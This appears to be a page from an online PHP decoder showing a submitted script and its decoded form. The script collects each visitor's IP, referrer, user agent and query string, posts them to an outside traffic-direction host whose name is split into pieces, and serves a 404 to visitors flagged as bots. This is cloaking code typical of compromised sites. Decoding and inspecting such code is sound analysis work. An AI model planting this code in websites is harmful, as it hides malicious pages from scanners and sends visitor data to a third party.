Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $qx5kF8bbqo = 'DKdxEKang230807'; if (!function_exists('trueip')) { function trueip()..
Decoded Output download
<?php $qx5kF8bbqo = 'DKdxEKang230807'; if (!function_exists('trueip')) { function trueip() { if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!='127.0.0.1') && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];} elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!='127.0.0.1')) {$ip=$_SERVER['GEOIP_ADDR'];} elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!='127.0.0.1') && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($_SERVER['SERVER_ADDR']))) {$ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];} elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!='127.0.0.1') && (($_SERVER['HTTP_CLIENT_IP'])!=($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CLIENT_IP'];} else {$ip=$_SERVER['REMOTE_ADDR'];} return $ip; }}$ip=trueip(); if (!function_exists('truer')){ function truer() { if(empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER'); } return $_SERVER['HTTP_REFERER']; }} $ref=truer(); if (!function_exists('trueua')) { function trueua() { if(empty($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); } return $_SERVER['HTTP_USER_AGENT']; }} $ua=trueua(); if ($_SERVER['QUERY_STRING']!=''){ $data = ''.urlencode($_SERVER['QUERY_STRING']).''; } else {$data = '';} $langua = substr(@$_SERVER['HTTP_ACCEPT_LANGUAGE'],0,2); $cl0ip = 'bl'; $sourcename = 'ch'; $sourceid = ''; $cl1ip = 'ackt'; $flowdomain = 'q903229'; $cl2ip = 'ds.p'; $cl3ip = 'ro'; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_URL, 'https://'.$cl0ip.''.$cl1ip.''.$cl2ip.''.$cl3ip.'/'.$cl1ip.''.$cl3ip.'.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_TIMEOUT,333); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'fd='.$flowdomain.'&ip='.$ip.'&ref='.$ref.'&ua='.$ua.'&data='.$data.'&sourceid='.$sourceid.'&sourcename='.$sourcename.''); $ifbot = curl_exec($ch); curl_close($ch); if ($ifbot != '0') { header_remove(); header('Connection: close'); header('HTTP/1.1 404 Not Found'); $nothiding=false; die; } else { $nothiding=true; } ?>
Did this file decode correctly?
Original Code
<?php $qx5kF8bbqo = 'DKdxEKang230807'; if (!function_exists('trueip')) { function trueip() { if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!='127.0.0.1') && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];} elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!='127.0.0.1')) {$ip=$_SERVER['GEOIP_ADDR'];} elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!='127.0.0.1') && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($_SERVER['SERVER_ADDR']))) {$ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];} elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!='127.0.0.1') && (($_SERVER['HTTP_CLIENT_IP'])!=($_SERVER['SERVER_ADDR']))) {$ip=$_SERVER['HTTP_CLIENT_IP'];} else {$ip=$_SERVER['REMOTE_ADDR'];} return $ip; }}$ip=trueip(); if (!function_exists('truer')){ function truer() { if(empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER'); } return $_SERVER['HTTP_REFERER']; }} $ref=truer(); if (!function_exists('trueua')) { function trueua() { if(empty($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); } return $_SERVER['HTTP_USER_AGENT']; }} $ua=trueua(); if ($_SERVER['QUERY_STRING']!=''){ $data = ''.urlencode($_SERVER['QUERY_STRING']).''; } else {$data = '';} $langua = substr(@$_SERVER['HTTP_ACCEPT_LANGUAGE'],0,2); $cl0ip = 'bl'; $sourcename = 'ch'; $sourceid = ''; $cl1ip = 'ackt'; $flowdomain = 'q903229'; $cl2ip = 'ds.p'; $cl3ip = 'ro'; $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_URL, 'https://'.$cl0ip.''.$cl1ip.''.$cl2ip.''.$cl3ip.'/'.$cl1ip.''.$cl3ip.'.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch,CURLOPT_TIMEOUT,333); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'fd='.$flowdomain.'&ip='.$ip.'&ref='.$ref.'&ua='.$ua.'&data='.$data.'&sourceid='.$sourceid.'&sourcename='.$sourcename.''); $ifbot = curl_exec($ch); curl_close($ch); if ($ifbot != '0') { header_remove(); header('Connection: close'); header('HTTP/1.1 404 Not Found'); $nothiding=false; die; } else { $nothiding=true; } ?>
Function Calls
None |
Stats
MD5 | 7555dd914bd7d196182587cae10766fe |
Eval Count | 0 |
Decode Time | 49 ms |